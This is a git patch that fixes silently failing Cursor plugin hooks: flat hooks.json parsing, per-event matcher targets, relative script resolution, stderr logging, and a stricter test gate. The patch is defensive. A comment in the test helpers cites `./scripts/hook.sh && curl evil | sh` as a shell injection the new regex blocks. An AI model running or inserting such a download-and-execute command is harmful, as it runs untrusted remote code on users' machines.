From 0dbd2dd31974debe796800361af5e0d4d134d5a0 Mon Sep 17 00:00:00 2001 From: Bruno Azoulay Date: Mon, 7 Sep 2026 10:19:39 +0200 Subject: [PATCH 1/2] fix(hooks): stop Cursor plugin hooks failing silently on every event Installed Cursor plugins were fully inert -- loaded and wired, but no hook ever executed anything. Three chained defects, each masking the next: - plugin-scanner.ts read entry.hooks[] (Claude Code's nested shape), but a Cursor plugin hooks.json is flat ({ command, matcher?, type? }) -> TypeError on every manifest, swallowed by a catch that exited 0. - matchesFilter always tested tool_name, while Cursor tests the shell command line on beforeShellExecution/afterShellExecution, a synthesized MCP: prefix on beforeMCPExecution/afterMCPExecution, subagent_type on subagentStart/subagentStop, and fixed constants on beforeSubmitPrompt/stop -- the MCP and shell guards could never match. - ./scripts/hook.sh was never resolved to an absolute path: the spawn passes CURSOR_PLUGIN_ROOT via env but no cwd, so the script was never found and hooks failed open silently. hooks-loader.ts now logs to stderr before failing open instead of exiting clean on error. Rewrote the hooks-harness-exclusive anti-regression gate: it produced 22 assertions with zero on an actual command (it iterated the nested shape), and its criterion looked for the harness binary directly in the manifest even though Cursor submission requires relative paths. New two-layer invariant: manifest delegates to ./scripts/hook.sh, and that wrapper invokes the harness. Two more defects found by sniper and fixed in the gate itself: a command regex that let shell injection through (&&, ;, $(...), backticks, redirections), and a throw during bun:test collection that silently dropped every check for a plugin. Verified before commit: bun test 278 pass / 0 fail / 548 expect across 30 files (was 194 pass / 464 expect); bunx tsc --noEmit exit 0; the targeted gate went from 22 to 106 assertions, with a proven red path (7 injection payloads blocked, 0 leaks; 63 real manifest commands, 0 false rejects). --- .cursor-plugin/scripts/hooks-loader.ts | 24 +++- .../hooks-harness-exclusive.helpers.ts | 51 ++++++- .../__tests__/hooks-harness-exclusive.test.ts | 108 ++++++++------ .../plugin-scanner-home-resolution.test.ts | 18 +-- .../__tests__/plugin-scanner-matcher.test.ts | 106 ++++++++++++++ .../plugin-scanner-script-path.test.ts | 85 +++++++++++ .../src/__tests__/plugin-scanner.test.ts | 119 +++------------ .../scripts/src/interfaces/hooks.ts | 46 ++++-- .../scripts/src/services/plugin-scanner.ts | 136 +++++++++++++----- 9 files changed, 489 insertions(+), 204 deletions(-) create mode 100644 .cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts create mode 100644 .cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts diff --git a/.cursor-plugin/scripts/hooks-loader.ts b/.cursor-plugin/scripts/hooks-loader.ts index 3afb28d..cc9c2b2 100755 --- a/.cursor-plugin/scripts/hooks-loader.ts +++ b/.cursor-plugin/scripts/hooks-loader.ts @@ -28,7 +28,7 @@ const PLUGINS_DIR = join( * @see https://cursor.com/docs/hooks — `subagentStart`/`subagentStop` payloads carry * `subagent_type`; Claude Code's `agent_type` does not exist in Cursor's contract. */ -type CursorHookInput = HookInput & { subagent_type?: string }; +type CursorHookInput = HookInput & { subagent_type?: string; command?: string }; async function main(): Promise { const hookType = process.argv[2]; @@ -56,6 +56,15 @@ async function main(): Promise { const toolName = input.tool_name ?? ""; const agentType = input.subagent_type ?? ""; + // Shell events carry the command line at the payload root; `preToolUse` nests it + // under `tool_input`. Both feed the matcher target for beforeShellExecution / + // afterShellExecution (see matchTarget in plugin-scanner.ts). + const command = + typeof input.command === "string" + ? input.command + : typeof input.tool_input?.command === "string" + ? input.tool_input.command + : ""; // DEBUG: Log subagentStart/subagentStop payload if (hookType === "subagentStart" || hookType === "subagentStop") { @@ -71,7 +80,7 @@ async function main(): Promise { // Extract matching hooks. Cursor has no "notification" event (Claude Code-only), // so that matcher branch in extractHooks is unreachable here — pass "" (dead arg). - const hooks = extractHooks(plugins, hookType, toolName, "", agentType); + const hooks = extractHooks(plugins, hookType, toolName, "", agentType, command); // No matching hooks → exit early if (hooks.length === 0) process.exit(0); @@ -92,4 +101,13 @@ async function main(): Promise { if (stdout) console.log(stdout); } -main().catch(() => process.exit(0)); +// Fail-open on stdout — Cursor must never be blocked by a loader crash — but NEVER +// silent: a bare `catch(() => exit(0))` once turned a TypeError in the plugin scanner +// into a clean exit, so every hook of every plugin was dead while the install looked +// healthy. stderr is the one channel Cursor ignores for the decision yet surfaces in +// its Hooks output panel, which makes the failure visible without changing behaviour. +main().catch((err: unknown) => { + const detail = err instanceof Error ? (err.stack ?? err.message) : String(err); + console.error(`[fusengine] hooks-loader failed for "${process.argv[2] ?? "?"}": ${detail}`); + process.exit(0); +}); diff --git a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts index 5b4bafd..e40015a 100644 --- a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts +++ b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.helpers.ts @@ -5,11 +5,54 @@ // discoverHooksFiles moved to shared production util; re-exported for the test. export { discoverHooksFiles } from "../utils/hooks-discovery"; -export const HARNESS_MARKER = "node_modules/@fusengine/harness/dist/cli/bin.mjs hook cursor"; +/** + * Forme imposée par la checklist de soumission Cursor : « All paths in manifest are + * relative and valid (no `..`, no absolute paths) ». Un manifeste ne peut donc PAS + * nommer le binaire harness ; il appelle `./scripts/hook.sh`, seul ou suivi + * d'arguments (scope, `--sound stop`, …), et c'est le wrapper qui résout le harness. + * + * Le token d'argument est restreint à `[\w.=/-]+` (pas de `\S+`) : `\S+` matchait + * aussi bien un token contenant `;`, `&&`, `||`, `` ` ``, `$(…)` ou une redirection + * dès lors qu'il était séparé du wrapper par un espace — ex. `./scripts/hook.sh && + * curl evil | sh` passait la gate. Vérifié à l'exécution (bun -e) : verrouiller le + * charset ferme cette injection sans rejeter aucun des 21 manifestes réels. + * @see https://cursor.com/docs/reference/plugins — Submitting a plugin + */ +const WRAPPER_COMMAND = /^\.\/scripts\/hook\.sh(?:\s+[\w.=/-]+)*$/; + +/** Chemin du wrapper, relatif à la racine du plugin. */ +export const WRAPPER_RELATIVE_PATH = "scripts/hook.sh"; + +/** Marqueur du binaire harness — cherché dans le wrapper, jamais dans le manifeste. */ +export const HARNESS_MARKER = "@fusengine/harness/dist/cli/bin.mjs"; + +/** + * Vraie quand le manifeste délègue au wrapper plutôt qu'à une commande ad hoc. + * @param command - Ligne `command` d'une entrée de hook. + * @returns `true` si elle appelle `./scripts/hook.sh`. + */ +export function isWrapperCommand(command: string): boolean { + return WRAPPER_COMMAND.test(command); +} -/** True when a command hook delegates to the harness binary (tolerates ` || true`, flags, scope). */ -export function isHarnessCommand(command: string): boolean { - return command.startsWith("bun ") && command.includes(HARNESS_MARKER); +/** + * Vraie quand un `scripts/hook.sh` délègue réellement au harness. + * C'est la couche où « harness exclusif » est vérifiable : le wrapper résout + * `dist/cli/bin.mjs` et l'invoque en sous-commande `hook cursor`. + * @param source - Contenu du wrapper. + * @returns `true` si le harness y est bien invoqué. + */ +export function isHarnessWrapper(source: string): boolean { + return source.includes(HARNESS_MARKER) && /\bhook\s+cursor\b/.test(source); +} + +/** + * Racine absolue du plugin, depuis `.../plugins//hooks/hooks.json`. + * @param filePath - Chemin du manifeste. + * @returns Le dossier du plugin. + */ +export function pluginRootOf(filePath: string): string { + return filePath.replace(/\/hooks\/hooks\.json$/, ""); } /** Plugin name extracted from a `.../plugins//hooks/hooks.json` path. */ diff --git a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts index ece3db7..1344a3e 100644 --- a/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts +++ b/.cursor-plugin/scripts/src/__tests__/hooks-harness-exclusive.test.ts @@ -1,28 +1,31 @@ /** * Anti-regression gate for the "harness exclusif" migration. * - * Every `type: "command"` hook in every `plugins//hooks/hooks.json` - * must delegate to @fusengine/harness, resolved from the marketplace's own - * shared install under plugins/marketplaces/fusengine-plugins/plugins/ - * node_modules (installDeps' node_modules — reused as-is, no separate - * per-user $HOME/.cursor/node_modules bootstrap anymore). + * Cursor plugin manifests are FLAT (`{ command, matcher?, type? }`) and their paths + * must be relative — the manifest can therefore never name the harness binary. The + * previous version of this gate looked for `block.hooks[]` (Claude Code's nested + * shape) and for a `bun …/@fusengine/harness/… hook cursor` command inside the + * manifest: on flat manifests the inner loop never ran, so the whole suite produced + * 22 assertions, none of them about a command. The invariant is checked at the two + * layers that actually carry it: + * 1. every command entry delegates to `./scripts/hook.sh` (relative, per Cursor's + * submission checklist); + * 2. that wrapper exists and invokes the harness binary. * Native `type: "prompt"` hooks are allowed and left untouched. - * Pure helpers live in ./hooks-harness-exclusive.helpers (kept separate to - * respect the 100-line SOLID limit on this file). + * @see https://cursor.com/docs/reference/plugins — Hooks format / Submitting a plugin */ import { describe, expect, test } from "bun:test"; -import { readFileSync } from "node:fs"; +import { existsSync, readFileSync } from "node:fs"; import { join } from "node:path"; import { + WRAPPER_RELATIVE_PATH, discoverHooksFiles, - isHarnessCommand, + isHarnessWrapper, + isWrapperCommand, pluginNameOf, + pluginRootOf, } from "./hooks-harness-exclusive.helpers"; -/** Absolute prefix every harness command must resolve through post-migration. */ -const MARKETPLACE_HARNESS_PATH = - "$HOME/.cursor/plugins/local/node_modules/@fusengine/harness"; - const PLUGINS_DIR = join(__dirname, "../../../plugins"); const hooksFiles = discoverHooksFiles(PLUGINS_DIR); @@ -50,45 +53,60 @@ describe("hooks-harness-exclusive (anti-regression gate)", () => { expect(config).toBeDefined(); }); - const events = config?.hooks ?? {}; + const wrapper = join(pluginRootOf(filePath), WRAPPER_RELATIVE_PATH); - for (const [eventName, blocks] of Object.entries(events)) { - for (const [blockIdx, block] of (blocks as Array>).entries()) { - const hooks = (block.hooks as Array>) ?? []; + test(`${WRAPPER_RELATIVE_PATH} exists and invokes the harness binary`, () => { + if (!existsSync(wrapper)) { + throw new Error(`${pluginName}: missing wrapper ${WRAPPER_RELATIVE_PATH}`); + } + expect(isHarnessWrapper(readFileSync(wrapper, "utf-8"))).toBe(true); + }); - for (const [hookIdx, hook] of hooks.entries()) { - const label = `${eventName}[${blockIdx}].hooks[${hookIdx}]`; + for (const [eventName, rawEntries] of Object.entries(config?.hooks ?? {})) { + // Guarded like the JSON.parse above: a manifest can carry a malformed + // event value (not an array) or a malformed entry (null/primitive). + // Both must fail a NAMED test, never throw here — a throw in this loop + // runs during describe collection and voids every test already queued + // for this plugin (verified empirically: bun:test reports 0 ran, not a + // failure, for the whole describe scope). + if (!Array.isArray(rawEntries)) { + test(`${eventName}: hook entries must be an array`, () => { + throw new Error( + `${pluginName} / ${eventName}: expected an array of hook entries, got ${typeof rawEntries}`, + ); + }); + continue; + } - if (hook.type === "prompt") continue; // native LLM hook, allowed as-is + for (const [idx, entry] of rawEntries.entries()) { + const label = `${eventName}[${idx}]`; - test(`${label}: type is "command"`, () => { - if (hook.type !== "command") { - throw new Error( - `${pluginName} / ${label}: unexpected hook type "${hook.type}" — only "command" and "prompt" are allowed`, - ); - } - expect(hook.type).toBe("command"); + if (entry === null || typeof entry !== "object") { + test(`${label}: must be an object`, () => { + throw new Error(`${pluginName} / ${label}: expected a hook entry object, got ${entry}`); }); + continue; + } - test(`${label}: command delegates to harness on the marketplace shared path`, () => { - const command = String(hook.command); - const harness = isHarnessCommand(command); + const record = entry as Record; + if (record.type === "prompt") continue; // native LLM hook, allowed as-is - // No more per-user bootstrap: every command must resolve the - // harness binary straight from the marketplace's node_modules. - if (!harness) { - throw new Error( - `${pluginName} / ${label}: command does not delegate to harness: "${command}"`, - ); - } - if (!command.includes(MARKETPLACE_HARNESS_PATH)) { - throw new Error( - `${pluginName} / ${label}: harness command not on marketplace shared path: "${command}"`, - ); - } - expect(harness).toBe(true); - }); - } + test(`${label}: delegates to ${WRAPPER_RELATIVE_PATH}`, () => { + if (record.type !== undefined && record.type !== "command") { + throw new Error( + `${pluginName} / ${label}: unexpected hook type "${record.type}" — only "command" and "prompt" are allowed`, + ); + } + if (typeof record.command !== "string") { + throw new Error(`${pluginName} / ${label}: command hook carries no command`); + } + if (!isWrapperCommand(record.command)) { + throw new Error( + `${pluginName} / ${label}: does not delegate to the wrapper: "${record.command}"`, + ); + } + expect(isWrapperCommand(record.command)).toBe(true); + }); } } }); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts index b7c0689..c7e2098 100644 --- a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-home-resolution.test.ts @@ -18,15 +18,13 @@ describe("extractHooks — $HOME runtime resolution", () => { hasHooks: true, config: { hooks: { - PreToolUse: [ - { hooks: [{ type: "command", command: "bun $HOME/.cursor/bin.mjs" }] }, - ], + preToolUse: [{ command: "bun $HOME/.cursor/bin.mjs" }], }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result[0].command).toBe(`bun ${HOME}/.cursor/bin.mjs`); expect(result[0].command).not.toContain("$HOME"); @@ -40,20 +38,16 @@ describe("extractHooks — $HOME runtime resolution", () => { hasHooks: true, config: { hooks: { - PreToolUse: [ - { - hooks: [ - // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax - { type: "command", command: "bun ${HOME}/.cursor/bin.mjs" }, - ], - }, + preToolUse: [ + // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax + { command: "bun ${HOME}/.cursor/bin.mjs" }, ], }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result[0].command).toBe(`bun ${HOME}/.cursor/bin.mjs`); expect(result[0].command).not.toContain("${HOME}"); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts new file mode 100644 index 0000000..2c4b720 --- /dev/null +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-matcher.test.ts @@ -0,0 +1,106 @@ +/** + * Tests for matcher filtering in extractHooks — per-event target selection. + * Split out of plugin-scanner.test.ts (file-size limit), mirroring the existing + * plugin-scanner-home-resolution.test.ts split convention. + * + * Fixtures use Cursor's FLAT entry shape (`{ command, matcher? }`), the only one a + * plugin `hooks.json` carries. They previously used Claude Code's nested + * `hooks: [{ type, command }]`, which kept this suite green against a shape the + * production never produces — while extractHooks crashed on every real manifest. + * @see https://cursor.com/docs/hooks — "Available matchers by hook" + */ +import { describe, expect, test } from "bun:test"; +import { extractHooks } from "../services/plugin-scanner"; + +const TEST_DIR = "/tmp/fusengine-test-plugins-matcher"; + +/** Build a one-plugin fixture carrying a single event's entries. */ +function fixture(event: string, entries: unknown[]) { + return [ + { + name: "test-plugin", + path: TEST_DIR, + hasHooks: true, + config: { hooks: { [event]: entries } }, + }, + ] as Parameters[0]; +} + +describe("extractHooks — matcher targets", () => { + test("filters by tool name on preToolUse", () => { + const plugins = fixture("preToolUse", [ + { matcher: "Write|Edit", command: "echo write-edit" }, + { matcher: "Shell", command: "echo shell" }, + ]); + + expect(extractHooks(plugins, "preToolUse", "Write", "")).toHaveLength(1); + expect(extractHooks(plugins, "preToolUse", "Edit", "")).toHaveLength(1); + expect(extractHooks(plugins, "preToolUse", "Shell", "")).toHaveLength(1); + expect(extractHooks(plugins, "preToolUse", "Read", "")).toHaveLength(0); + }); + + test("matches everything when no matcher is set", () => { + const plugins = fixture("preToolUse", [{ command: "echo all" }]); + + expect(extractHooks(plugins, "preToolUse", "AnyTool", "")).toHaveLength(1); + }); + + test("beforeShellExecution matches the command line, not the tool name", () => { + const plugins = fixture("beforeShellExecution", [ + { matcher: "curl|wget", command: "echo net" }, + ]); + + const hit = extractHooks(plugins, "beforeShellExecution", "", "", "", "curl https://x"); + const miss = extractHooks(plugins, "beforeShellExecution", "", "", "", "ls -la"); + + expect(hit).toHaveLength(1); + expect(miss).toHaveLength(0); + }); + + test("beforeMCPExecution matches the synthesised MCP: form", () => { + const plugins = fixture("beforeMCPExecution", [ + { matcher: "MCP:(query-docs|web_search_exa)", command: "echo mcp" }, + ]); + + // The MCP: prefix never appears in the raw tool_name — it is built per event. + expect(extractHooks(plugins, "beforeMCPExecution", "query-docs", "")).toHaveLength(1); + expect(extractHooks(plugins, "beforeMCPExecution", "resolve-library-id", "")).toHaveLength(0); + }); + + test("subagent events match the subagent type", () => { + const plugins = fixture("subagentStart", [ + { matcher: "explore|shell", command: "echo sub" }, + ]); + + expect(extractHooks(plugins, "subagentStart", "", "", "explore")).toHaveLength(1); + expect(extractHooks(plugins, "subagentStart", "", "", "generalPurpose")).toHaveLength(0); + }); + + test("fixed-target events match their constant", () => { + const stop = fixture("stop", [{ matcher: "Stop", command: "echo stop" }]); + const submit = fixture("beforeSubmitPrompt", [ + { matcher: "UserPromptSubmit", command: "echo submit" }, + ]); + + expect(extractHooks(stop, "stop", "", "")).toHaveLength(1); + expect(extractHooks(submit, "beforeSubmitPrompt", "", "")).toHaveLength(1); + }); + + test("skips a prompt entry — it carries no command to spawn", () => { + const plugins = fixture("stop", [ + { command: "echo real" }, + { type: "prompt", prompt: "Did the agent follow the workflow?", timeout: 15 }, + ]); + + const result = extractHooks(plugins, "stop", "", ""); + + expect(result).toHaveLength(1); + expect(result[0].command).toBe("echo real"); + }); + + test("an invalid regex matches nothing instead of throwing", () => { + const plugins = fixture("preToolUse", [{ matcher: "Write|(unclosed", command: "echo x" }]); + + expect(extractHooks(plugins, "preToolUse", "Write", "")).toHaveLength(0); + }); +}); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts new file mode 100644 index 0000000..1e19c16 --- /dev/null +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner-script-path.test.ts @@ -0,0 +1,85 @@ +/** + * Tests for relative-script resolution in extractHooks. + * Split out of plugin-scanner.test.ts (file-size limit), mirroring the existing + * plugin-scanner-home-resolution.test.ts / plugin-scanner-matcher.test.ts convention. + * + * Manifests declare `./scripts/hook.sh` — the form Cursor's submission checklist + * requires (no absolute paths). hook-executor spawns argv with no `cwd` (it only + * passes CURSOR_PLUGIN_ROOT in the env), so an unresolved relative path is never + * found: the hook fails and fail-open makes that silent. + * @see https://cursor.com/docs/hooks + */ +import { describe, expect, test } from "bun:test"; +import { extractHooks } from "../services/plugin-scanner"; + +const TEST_DIR = "/tmp/fusengine-test-plugins-path"; + +/** Build a one-plugin fixture carrying a single event's entries. */ +function fixture(event: string, entries: unknown[]) { + return [ + { + name: "test-plugin", + path: TEST_DIR, + hasHooks: true, + config: { hooks: { [event]: entries } }, + }, + ] as Parameters[0]; +} + +describe("extractHooks — relative script resolution", () => { + test("resolves ./ against the plugin root", () => { + const plugins = fixture("preToolUse", [{ command: "./scripts/hook.sh" }]); + + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe( + `${TEST_DIR}/scripts/hook.sh`, + ); + }); + + test("keeps the arguments after the script untouched", () => { + const plugins = fixture("preToolUse", [ + { command: "./scripts/hook.sh aipilot --sound stop" }, + ]); + + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe( + `${TEST_DIR}/scripts/hook.sh aipilot --sound stop`, + ); + }); + + test("resolves ../ as well", () => { + const plugins = fixture("preToolUse", [{ command: "../shared/hook.sh" }]); + + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe("/tmp/shared/hook.sh"); + }); + + test("leaves absolute and bare commands alone", () => { + const plugins = fixture("preToolUse", [ + { command: "/usr/local/bin/guard.sh" }, + { command: "bun /abs/path/x.ts hook cursor" }, + { command: "afplay /sound.wav" }, + ]); + + const result = extractHooks(plugins, "preToolUse", "", ""); + + expect(result[0].command).toBe("/usr/local/bin/guard.sh"); + expect(result[1].command).toBe("bun /abs/path/x.ts hook cursor"); + expect(result[2].command).toBe("afplay /sound.wav"); + }); + + test("an afplay command stays flagged async", () => { + const plugins = fixture("stop", [{ command: "afplay /sound.wav" }]); + + expect(extractHooks(plugins, "stop", "", "")[0].isAsync).toBe(true); + }); + + test("placeholder substitution still runs before resolution", () => { + const plugins = fixture("preToolUse", [ + // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax + { command: "bash ${CURSOR_PLUGIN_ROOT}/scripts/x.sh" }, + ]); + + // Already absolute after substitution — resolution must not touch it again. + expect(extractHooks(plugins, "preToolUse", "", "")[0].command).toBe( + `bash ${TEST_DIR}/scripts/x.sh`, + ); + }); +}); diff --git a/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts b/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts index 48c2547..7028b70 100644 --- a/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts +++ b/.cursor-plugin/scripts/src/__tests__/plugin-scanner.test.ts @@ -1,5 +1,12 @@ /** - * Tests for plugin-scanner service + * Tests for plugin-scanner service. + * + * Fixtures use Cursor's FLAT entry shape (`{ command, matcher? }`), the only one a + * plugin `hooks.json` carries. They previously used Claude Code's nested + * `hooks: [{ type, command }]`, which kept this suite green against a shape the + * production never produces — while extractHooks crashed on every real manifest. + * Matcher-target cases live in plugin-scanner-matcher.test.ts (file-size split). + * @see https://cursor.com/docs/hooks */ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { mkdirSync, rmSync, writeFileSync } from "node:fs"; @@ -28,7 +35,7 @@ describe("plugin-scanner", () => { mkdirSync(pluginDir, { recursive: true }); writeFileSync( join(pluginDir, "hooks.json"), - JSON.stringify({ hooks: { PreToolUse: [] } }), + JSON.stringify({ hooks: { preToolUse: [] } }), ); const result = scanPlugins({ pluginsDir: TEST_DIR }); @@ -53,12 +60,10 @@ describe("plugin-scanner", () => { }); test("scans multiple plugins", () => { - // Plugin 1 with hooks const plugin1 = join(TEST_DIR, "plugin-a", "hooks"); mkdirSync(plugin1, { recursive: true }); writeFileSync(join(plugin1, "hooks.json"), JSON.stringify({ hooks: {} })); - // Plugin 2 with hooks const plugin2 = join(TEST_DIR, "plugin-b", "hooks"); mkdirSync(plugin2, { recursive: true }); writeFileSync(join(plugin2, "hooks.json"), JSON.stringify({ hooks: {} })); @@ -95,19 +100,12 @@ describe("plugin-scanner", () => { path: join(TEST_DIR, "test-plugin"), hasHooks: true, config: { - hooks: { - PreToolUse: [ - { - matcher: "Write", - hooks: [{ type: "command", command: "echo test" }], - }, - ], - }, + hooks: { preToolUse: [{ matcher: "Write", command: "echo test" }] }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "Write", ""); + const result = extractHooks(plugins, "preToolUse", "Write", ""); expect(result).toHaveLength(1); expect(result[0].command).toContain("echo test"); @@ -120,77 +118,15 @@ describe("plugin-scanner", () => { name: "test-plugin", path: TEST_DIR, hasHooks: true, - config: { - hooks: { - PreToolUse: [{ hooks: [{ type: "command", command: "echo" }] }], - }, - }, + config: { hooks: { preToolUse: [{ command: "echo" }] } }, }, ]; - const result = extractHooks(plugins, "PostToolUse", "", ""); + const result = extractHooks(plugins, "postToolUse", "", ""); expect(result).toEqual([]); }); - test("filters by tool name matcher", () => { - const plugins = [ - { - name: "test-plugin", - path: TEST_DIR, - hasHooks: true, - config: { - hooks: { - PreToolUse: [ - { - matcher: "Write|Edit", - hooks: [{ type: "command", command: "echo write-edit" }], - }, - { - matcher: "Bash", - hooks: [{ type: "command", command: "echo bash" }], - }, - ], - }, - }, - }, - ]; - - const writeHooks = extractHooks(plugins, "PreToolUse", "Write", ""); - const editHooks = extractHooks(plugins, "PreToolUse", "Edit", ""); - const bashHooks = extractHooks(plugins, "PreToolUse", "Bash", ""); - const readHooks = extractHooks(plugins, "PreToolUse", "Read", ""); - - expect(writeHooks).toHaveLength(1); - expect(editHooks).toHaveLength(1); - expect(bashHooks).toHaveLength(1); - expect(readHooks).toHaveLength(0); - }); - - test("matches all when no matcher specified", () => { - const plugins = [ - { - name: "test-plugin", - path: TEST_DIR, - hasHooks: true, - config: { - hooks: { - PreToolUse: [ - { - // No matcher = match all - hooks: [{ type: "command", command: "echo all" }], - }, - ], - }, - }, - }, - ]; - - const anyHooks = extractHooks(plugins, "PreToolUse", "AnyTool", ""); - - expect(anyHooks).toHaveLength(1); - }); - test("replaces CURSOR_PLUGIN_ROOT in commands", () => { const plugins = [ { @@ -199,23 +135,16 @@ describe("plugin-scanner", () => { hasHooks: true, config: { hooks: { - PreToolUse: [ - { - hooks: [ - { - type: "command", - // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax - command: "bash ${CURSOR_PLUGIN_ROOT}/scripts/test.sh", - }, - ], - }, + preToolUse: [ + // biome-ignore lint/suspicious/noTemplateCurlyInString: shell env var syntax + { command: "bash ${CURSOR_PLUGIN_ROOT}/scripts/test.sh" }, ], }, }, }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result[0].command).toBe("bash /path/to/plugin/scripts/test.sh"); }); @@ -226,19 +155,11 @@ describe("plugin-scanner", () => { name: "test-plugin", path: TEST_DIR, hasHooks: true, - config: { - hooks: { - Stop: [ - { - hooks: [{ type: "command", command: "afplay /sound.wav" }], - }, - ], - }, - }, + config: { hooks: { stop: [{ command: "afplay /sound.wav" }] } }, }, ]; - const result = extractHooks(plugins, "Stop", "", ""); + const result = extractHooks(plugins, "stop", "", ""); expect(result[0].isAsync).toBe(true); }); @@ -253,7 +174,7 @@ describe("plugin-scanner", () => { }, ]; - const result = extractHooks(plugins, "PreToolUse", "", ""); + const result = extractHooks(plugins, "preToolUse", "", ""); expect(result).toEqual([]); }); diff --git a/.cursor-plugin/scripts/src/interfaces/hooks.ts b/.cursor-plugin/scripts/src/interfaces/hooks.ts index 390b476..8ca40a6 100644 --- a/.cursor-plugin/scripts/src/interfaces/hooks.ts +++ b/.cursor-plugin/scripts/src/interfaces/hooks.ts @@ -7,16 +7,29 @@ export type { HookType } from "./hook-types"; export { HOOK_TYPES } from "./hook-types"; -/** Configuration d'un hook individuel */ -export interface HookCommand { - type: string; - command: string; -} - -/** Entrée de hook avec matcher */ +/** + * Entrée de hook d'un `hooks.json` de plugin — forme PLATE, la seule que Cursor accepte. + * + * La commande est portée par l'entrée elle-même. La forme imbriquée de Claude Code + * (`{ matcher, hooks: [{ type, command }] }`) n'existe que dans `.claude/settings.json`, + * converti par une couche de compatibilité distincte — jamais dans un `hooks.json` natif. + * Une entrée peut aussi être évaluée par le LLM (`{ type: "prompt", prompt }`), sans `command`. + * @see https://cursor.com/docs/hooks — "Per-Script Configuration Options" + * @see https://cursor.com/docs/reference/third-party-hooks — "Migration from Claude Code" + */ export interface HookEntry { + /** Regex testée contre une cible dépendant de l'event. Absente = tout passe. */ matcher?: string; - hooks: HookCommand[]; + /** Requis pour un hook `command` ; absent sur un hook `prompt`. */ + command?: string; + /** `"command"` (défaut) ou `"prompt"`. */ + type?: string; + /** Condition en langage naturel, requise quand `type === "prompt"`. */ + prompt?: string; + /** Secondes avant kill. */ + timeout?: number; + /** `true` : un échec du hook bloque au lieu de laisser passer. */ + failClosed?: boolean; } /** Configuration complète des hooks d'un plugin */ @@ -24,6 +37,23 @@ export interface HooksConfig { hooks: Record; } +/** + * Valeurs extraites du payload, contre lesquelles un matcher est confronté. + * + * Cursor teste le matcher sur une cible qui varie selon l'event ; ce contexte porte + * toutes les cibles possibles pour que le choix se fasse en un seul endroit. + */ +export interface MatchContext { + /** `tool_name` du payload. */ + toolName: string; + /** Ligne de commande, pour les events shell. */ + command: string; + /** `subagent_type`, pour les events de sous-agent. */ + agentType: string; + /** Type de notification — Claude Code uniquement, sans équivalent Cursor. */ + notifType: string; +} + /** Commande à exécuter avec métadonnées */ export interface ExecutableHook { command: string; diff --git a/.cursor-plugin/scripts/src/services/plugin-scanner.ts b/.cursor-plugin/scripts/src/services/plugin-scanner.ts index 0a168c8..d86b4e2 100644 --- a/.cursor-plugin/scripts/src/services/plugin-scanner.ts +++ b/.cursor-plugin/scripts/src/services/plugin-scanner.ts @@ -7,6 +7,7 @@ import { join } from "node:path"; import type { ExecutableHook, HookEntry, + MatchContext, PluginInfo, ScannerConfig, } from "../interfaces/hooks"; @@ -35,61 +36,130 @@ export function scanPlugins(config: ScannerConfig): PluginInfo[] { }); } -/** Extract executable hooks for a given type */ +/** + * Collecte les commandes à exécuter pour un event donné. + * + * @param plugins - Plugins scannés. + * @param hookType - Event Cursor (lower-camel). + * @param toolName - `tool_name` du payload. + * @param notifType - Type de notification (Claude Code seulement ; passer `""`). + * @param agentType - `subagent_type` du payload. + * @param command - Ligne de commande, requise pour les events shell. + * @returns Les hooks dont le matcher accepte ce contexte. + */ export function extractHooks( plugins: PluginInfo[], hookType: string, toolName: string, notifType: string, agentType = "", + command = "", ): ExecutableHook[] { const hooks: ExecutableHook[] = []; + const ctx: MatchContext = { toolName, command, agentType, notifType }; for (const plugin of plugins) { if (!plugin.config) continue; const entries: HookEntry[] = plugin.config.hooks?.[hookType] ?? []; for (const entry of entries) { - if (!matchesFilter(entry.matcher, hookType, toolName, notifType, agentType)) continue; - - for (const hook of entry.hooks) { - if (hook.type && hook.type !== "command") continue; - // $HOME/${HOME} runtime fallback: a marketplace re-checkout resets - // hooks.json to its git-tracked literal (resolveHomeInHooks only - // rewrites install-time), and hook-executor spawns argv directly - // with no shell to expand it — resolve here too, mirroring - // CURSOR_PLUGIN_ROOT/CLAUDE_PROJECT_DIR above. - const command = hook.command - .replace(/\$\{CURSOR_PLUGIN_ROOT\}/g, plugin.path) - 